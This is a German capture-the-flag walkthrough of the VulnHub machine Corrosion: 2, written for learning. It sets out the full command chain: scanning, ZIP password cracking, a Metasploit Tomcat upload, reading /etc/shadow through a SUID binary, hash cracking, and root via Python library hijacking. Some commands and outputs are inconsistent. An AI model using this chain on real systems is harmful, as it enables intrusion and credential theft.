Heute nehme ich mir Corrosion: 2 von VulnHub. Bei dieser Maschine handelt sich um klassisches Pentesting. Hier werden viele unterschiedliche Angriffsvektoren kombiniert:
- Web-Enumeration
- Passwort-Knacken
- Metasploit-Exploitation
- Privilege Escalation
In diesem Artikel zeige ich euch, wie ich bei so einem Pentest vorgehe. Klar, mit allen Befehlen, Erklärungen und meinen Gedanken dazu. Los geht’s!
Phase 1: Netzwerk-Scanning
Schritt 1: Das Ziel finden mit netdiscover
Als Erstes muss ich herausfinden, welche IP-Adresse die Corrosion 2 in meinem Netzwerk hat. Genau gesagt, in meinem Host-Only Netzwerk von VMware. Das ist ein sehr wichtiger Punkt, damit die Maschine, falls infiziert ist, nicht mit meinem lokalen Netzwerk kommuniziert.
Dafür verwende ich netdiscover. Ein Tool, das alle aktiven Geräte im Netzwerk anpingt und mir diese dann im Terminal ausgibt.
Netdiscover sendet ARP-Anfragen an alle Geräte in meinem Subnetz und zeigt mir an, welche Geräte antworten. Stell es dir vor wie ein „Marco-Polo“ im Netzwerk.

netdiscover -r

Super, mein Ziel ist jetzt die 192.168.146.128
Schritt 2: Dienste scannen mit Nmap
Jetzt, wo ich die IP-Adresse kenne, scanne ich das Ziel genauer mit nmap, um alle offenen Ports und die darauf laufenden Dienste zu identifizieren.
nmap -sV -O 192.168.146.128 -oN nmap_192.168.146.128.txt
-sV-> Ich möchte die Versionen der Dienste kennen, nicht nur die Portnummern.-O-> Ich möchte herausfinden, welches Betriebssystem auf dem Zielgerät läuft.-oN-> Ich möchte das Scan-Ergebnis im normalen, menschenlesbaren Nmap-Format in einer Datei speichern.

Kurze Info:
-A= Alles (OS + Versionen + Standard Scripts + Traceroute) -> mein Favorit-sV -O= Nur OS + Versionen
Schauen wir uns den Nmap-Scan an, also ich habe drei Angriffspunkte gefunden:
| Port | Dienst | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 |
| 80 | HTTP | Apache 2.4.41 |
| 8080 | HTTP | Apache Tomcat 9.0.53 |
- Port 22 (SSH) –
- Hier könnte ich mich später einloggen, wenn ich Passwörter finde.
- Die erkannte Version ist veraltet und sollte auf bekannte Schwachstellen geprüft werden.
- Wenn Brute-Force-Tests im Pentest-Vertrag ausdrücklich erlaubt sind, kann später Hydra verwendet werden, wenn du Benutzernamen auf dem Ziel-System findest.
- Port 80 (Webserver) – Ein Apache Standard-Webserver. Vielleicht gibt es hier versteckte Verzeichnisse oder Dateien? ->
Gobusteroderdirb - Port 8080 (Tomcat) – Das ist interessant -> Tomcat ist ein Java-Webserver, der oft Sicherheitslücken hat 🙂
Meine Strategie: Ich konzentriere mich zuerst auf die beiden Webserver (Port 80 und 8080), weil sie meist der einfachste Einstieg sind. Wenn ich später Benutzernamen finde, kann ich (wenn es im Pentest ausdrücklich erlaubt ist) SSH auf Port 22 mit Hydra auf schwache Passwörter testen.
Phase 2: Web-Enumeration
Port 80 (Apache)
Ich öffne meinen Browser und gehe zu:
http://192.168.146.128

Nur die Standard-Apache-Startseite. Nichts Verdächtige -> keine Links, keine Formulare, keine interessanten Dateien.
Was mir hier einfällt, mit Gobuster oder dirb nach wichtigen Ordnern und Dateien suchen
Ich verwende gobuster:
gobuster dir -u http://192.168.146.128 -w /usr/share/wordlists/dirb/common.txt -b 404,403

Nichts Interessantes. Ich könnte in diesem Fall eine andere Wordliste verwenden, aber ich lasse es erstmal so :-).
Port 8080 (Tomcat) untersuchen
Ich öffne meinen Browser und gehe zu:
http://192.168.146.128:8080

Auch hier nur die Standard-Tomcat-Seite. Nichts Verdächtiges, daher verwende ich wie oben dirb oder gobuster, um versteckte Verzeichnisse auf dem Server zu finden.
dirb http://192.168.146.128:8080/ -X .php,.zip
-X .php,.zip– Ich suche speziell nach Dateien mit den Endungen.phpund.zip, weil diese oft wichtige Informationen enthalten, besonders in Apache Tomcat.

Genau das nenne ich ein Finding :-). Ich habe eine ZIP-Datei gefunden.
Ich lade die ZIP-Datei mit wget auf meinen Kali-Rechner herunter:
wget http://192.168.146.128:8080/backup.zip
wget -> Einfacher Downloader, also lädt Dateien aus dem Internet herunter
Jetzt versuche ich, die ZIP-Datei zu entpacken:
unzip backup.zip

Problem: Die ZIP-Datei ist passwortgeschützt, daher verwende ich fcrackzip, um das Passwort zu knacken. Das Tool probiert Passwörter aus einer Liste aus (Dictionary-Angriff).
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
-D– Führe einen Dictionary-Angriff durch-p /usr/share/wordlists/rockyou.txt– Verwende die berühmterockyou.txt-Wortliste-u– Versuche, die Datei nach dem Knacken zu entpacken (überprüft das Passwort)

Joooooo, das Passwort ist: @administrator_hi5
Jetzt entpacke ich die ZIP-Datei mit dem geknackten Passwort:
unzip backup.zip

Die ZIP enthält mehrere Dateien. Ich schaue mir alle an und finde eine besonders interessante: tomcat-users.xml
cat tomcat-users.xml

Wow Ich habe Credentials für den Tomcat-Manager gefunden!
| Benutzername | Passwort | Rolle |
|---|---|---|
admin | melehifokivai | manager-gui, manager-script, manager-status |
Was bedeutet das für mich?
Mit diesen Zugangsdaten kann ich mich am Tomcat-Manager anmelden und WAR-Dateien (Java-Webanwendungen) hochladen. Das ist der Einstieg ins System!
Phase 3: Exploitation – Zugang zum System bekommen
Tomcat-Exploit mit Metasploit
Durch eine kurze Internetrecherche habe ich das Metasploit-Modul tomcat_mgr_upload gefunden.

Jetzt nutze ich die gefundenen Credentials aus. Ich verwende dazu Metasploit -> das bekannteste Penetration-Testing-Framework.
# Metasploit starten
msfconsole
# Jetzt suche ich nach dem Modul tomcat_mgr_upload
search tomcat_mgr_upload

Wie ihr in diesem Bild seht, also in der Beschreibung des Exploits -> Es lädt eine schädliche Datei auf den Tomcat-Server hoch und gibt mir eine Shell.
# 1. Modul auswählen
use exploit/multi/http/tomcat_mgr_upload
show options
# 2. Ziel-IP setzen
set rhosts 192.168.146.128
# 3. Port setzen (Tomcat läuft auf 8080)
set rport 8080
# 4. Credentials setzen
set httpusername admin
set httppassword melehifokivai
# 5. Standard-Payload wählen (Java)
set target 0
# 6. Angriff starten
exploit
Das erste Bild zeigt die Optionen mit ihren Standardwerten:

Die Werte habe ich anschließend entsprechend meinem Exploit angepasst.

So sieht die Konfiguration am Ende aus:

Um den Angriff zu starten, gebe ich exploit ein.
Was passiert jetzt im Hintergrund?
- Metasploit loggt sich im Tomcat-Manager ein
- Es erstellt eine schädliche WAR-Datei (Payload)
- Es lädt diese Datei auf den Server hoch
- Es führt die Datei aus
- Ich erhalte eine Meterpreter-Session – eine interaktive Shell auf dem Zielsystem!

Joooooo! Ich bin drin!
Jetzt, wo ich eine Shell habe, will ich mich umschauen. In meiner Meterpreter-Konsole gebe ich shell ein:

# Welcher Benutzer bin ich?
whoami
Interessant, ich bin sofort root? Das ist ungewöhnlich. Vielleicht ist das ein Fehler oder eine Falle. Ich prüfe genau:
# Welche Benutzer gibt es?
ls /home
jaye
randy
Es gibt zwei Benutzer: jaye und randy. Das sind die echten Benutzer auf dem System.
Bevor ich loslege, erstelle ich eine interaktive Bash-Shell auf dem Zielsystem. Als erstes verlasse ich Meterpreter mit shell. dann prüfe ich ob python3 auf dem System installiert ist -> dann wieder starte ich mit python eine echte Bash.
# Meterpreter verlassen
meterpreter > shell
# Prüfen ob python3 auf dem System installiert ist.
which python3
/usr/bin/python3
# ein echte interaktive Shell aktivieren
python3 -c ‚import pty;pty.spawn(„/bin/bash“)‘
tomcat@corrosion:/var/spool/cron$

Super, jetzt habe ich eine echte richtige interaktive Shell als Benutzer tomcat erstellt. Jetzt geht’s weiter mit Enumeration.

Also, ich kann die Verzeichnisse des Benutzers Jaye nicht auflisten, auf die Verzeichnisse des Benutzers randy habe ich jedoch Zugriff.
Wichtig: Ich bin als Benutzer tomcat im Verzeichnis /home/randy gelandet. Das ist ungewöhnlich. Also, normalerweise kann ein Benutzer nicht einfach in das Home-Verzeichnis eines anderen wechseln. Aber ich bin ja über den Tomcat-Dienst reingekommen, der vielleicht erweiterte Rechte hat :->.
ahhm, ok. Was ist die randombase64.py?

Ich schaute mir die Datei randombase64.py genauer an. Mit ls -alt randombase64.py sah ich, dass sie root gehört und die Rechte -rwxr-xr-x hat. Das bedeutet: Ich darf sie lesen und ausführen, aber nicht verändern. Damit ich sie verändern kann, muss ich der owner sein, also der Benutzer randy sein!
Ich versuche, zum Benutzer randy zu wechseln und verwende das Passwort, das ich aus der tomcat-users.xml herausgefunden habe:
su jaye

Also ohne Erfolg, Ich versuche jetzt, zum Benutzer jaye zu wechseln und wie oben verwende das Passwort, das ich aus der tomcat-users.xml herausgefunden habe:
su jaye
Das System fragt nach einem Passwort. Ich gebe ein:
melehifokivai

WOOOOOJOOO! Ich bin jetzt Benutzer jaye. Das ist ein klassischer Fehler!
- Oft sind Passwörter über mehrere Dienste hinweg identisch. Der Admin hatte dasselbe Passwort für Tomcat und für den User
jayeverwendet.
Ich schaue mir jetzt an, welche Dateien jaye in seinem Home-Verzeichnis hat:
ls -la
Ich sehe eine besondere Datei unter /home/jaye/Files: look
ls -la look
---s--s--x 1 root root 14728 Sep 17 2021 look
Das s in rws bedeutet: Die Datei hat das SUID-Bit gesetzt. Das heißt, sie wird mit den Rechten des Eigentümers (root) ausgeführt, also nicht mit meinen!

Da ich das Programm nicht lesen darf, führe ich das Programm aus! Aus dem Code verstehe ich, dass die look-Binary spezielle Rechte (SUID) hat und kann Dateien lesen, für die der normale Benutzer eigentlich keine Rechte hat.
Ich teste die Binary, um die /etc/shadow zu lesen :
./look '' /etc/shadow
./look– Führt die Datei aus''– Ein leeres Suchmuster (matcht alles)/etc/shadow– Die Datei, die alle Passwort-Hashes enthält (normalerweise nur für den Administrator lesbar!)

Wow! Ich habe die komplette /etc/shadow-Datei ausgelesen!
Das nenne ich Erfolg -> Ich habe die Passwort-Hashes aller Benutzer! Das sind verschlüsselte Passwörter. Ich kann sie knacken und zwar mit mit John the Ripper.
Ich kopiere den Hash von Benutzer randy in eine Datei namens hash auf meinem Kali-Rechner.
Dann knacke ich ihn mit John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john– John the Ripper (der berühmteste Passwort-Knacker)--wordlist=– Ich verwende die Wortliste für den Dictionary-Angriffrockyou.txt– Die große Passwort-Listehash– Die Datei mit dem Hash
🔑 Das Passwort von randy ist: 07051986randy
Phase 4: Privilege Escalation – Root werden
Jetzt logge ich mich mit dem geknackten Passwort per SSH ein. Für mich ist das komfortabler als die Meterpreter-Shell. Aber mit Meterpreter-Shell kann ich auch arbeiten!
ssh randy@192.168.146.128
# oder im Bash
su randy
# Password - 07051986randy
- Ich bin jetzt Benutzer
randy.
Jetzt prüfe ich ganz klassisch, welche Befehle randy mit sudo ausführen darf.
sudo -l
sudo -l= „Liste mir alle Befehle auf, die ich als Root ausführen darf“

Ich darf das Python-Skript /home/randy/randombase64.py als Root ausführen, ohne Passwort!
Das ist mein Weg, also wenn ich es schaffe, dieses Skript so zu manipulieren, dass es meinen eigenen Code ausführt, kann ich Root werden.
Zuerst schaue ich mir den Inhalt des Skripts an:
cat /home/randy/randombase64.py

Ich sehe hier, das Skript importiert die Python-Bibliothek base64. Wenn ich diese Bibliothek manipuliere, dann führt das Skript beim nächsten Mal meinen manipulierten Code aus und zwar mit Root-Rechten!
Daher wäre der nächste Schritt herauszufinden, wo die base64-Bibliothek auf dem System liegt:
locate base64

Wie die Ergebnisse zeigen, die Datei liegt unter /usr/lib/python3.8/base64.py.
Ich öffne die Datei mit nano (einem Text-Editor):
nano /usr/lib/python3.8/base64.py
Jetzt füge ich diese Zeilen am Anfang der Datei ein:
import os
os.system("/bin/bash")
import os– Lade das Betriebssystem-Modulos.system("/bin/bash")– Starte eine interaktive Bash-Shell
Wenn das Skript jetzt import base64 ausführt, wird stattdessen meine manipulierte Datei geladen, die eine Root-Shell öffnet.
Super, jetzt führe ich das Python-Skript mit sudo aus:
sudo /usr/lib/python3.8 /home/randy/randombase64.py
sudo– Führe den Befehl mit Root-Rechten aus/usr/lib/python3.8– Der Python-Interpreter/home/randy/randombase64.py– Das Skript, das jetzt manipuliert wird
Folgendes passiert:
- Das Skript versucht,
base64zu importieren. - Python lädt meine manipulierte
/usr/lib/python3.8/base64.py. - Meine manipulierte Datei führt
os.system("/bin/bash")aus. - und Ich habe eine Root-Shell!

Jetzt kann ich die Root-Flag lesen:
cd /root
ls
cat root.txt

Joooo GESCHAFFT! Ich habe die Maschine vollständig geknackt!
Hier ist eine kompakte Liste aller Befehle, die ich verwendet habe.
Phase 1: Scanning
netdiscover
nmap -sV 192.168.146.128
Phase 2: Web-Enumeration
dirb http://192.168.146.128:8080/ -X .php,.zip
wget http://192.168.146.128:8080/backup.zip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
unzip backup.zip
cat tomcat-users.xml
Phase 3: Exploitation
# Metasploit starten
msfconsole
# Tomcat-Exploit
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.146.128
set rport 8080
set httpusername admin
set httppassword melehifokivai
exploit
# Auf dem System
cd /home
ls
su jaye
# Passwort: melehifokivai
./look '' /etc/shadow
# Hash knacken (auf Kali)
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# Ergebnis: 07051986randy
Phase 4: Privilege Escalation
ssh randy@192.168.146.128
# Passwort: 07051986randy
sudo -l
cat /home/randy/randombase64.py
locate base64
nano /usr/lib/python3.8/base64.py
# Code einfügen: import os; os.system("/bin/bash")
sudo /usr/lib/python3.8 /home/randy/randombase64.py
cd /root
cat root.txt
Meine persönlichen Tipps für Anfänger
- Sei geduldig: Ich habe mehrere Stunden für diese Box gebraucht. Nimm dir Zeit!
- Notiere alles: Ich habe alle Befehle und Ergebnisse in einem Dokument festgehalten.
- Verstehe, was du tust: Ich habe jeden Befehl verstanden, bevor ich ihn ausgeführt habe.
- Frag nach Hilfe: Die Community hilft, wenn du nicht weiterkommst.
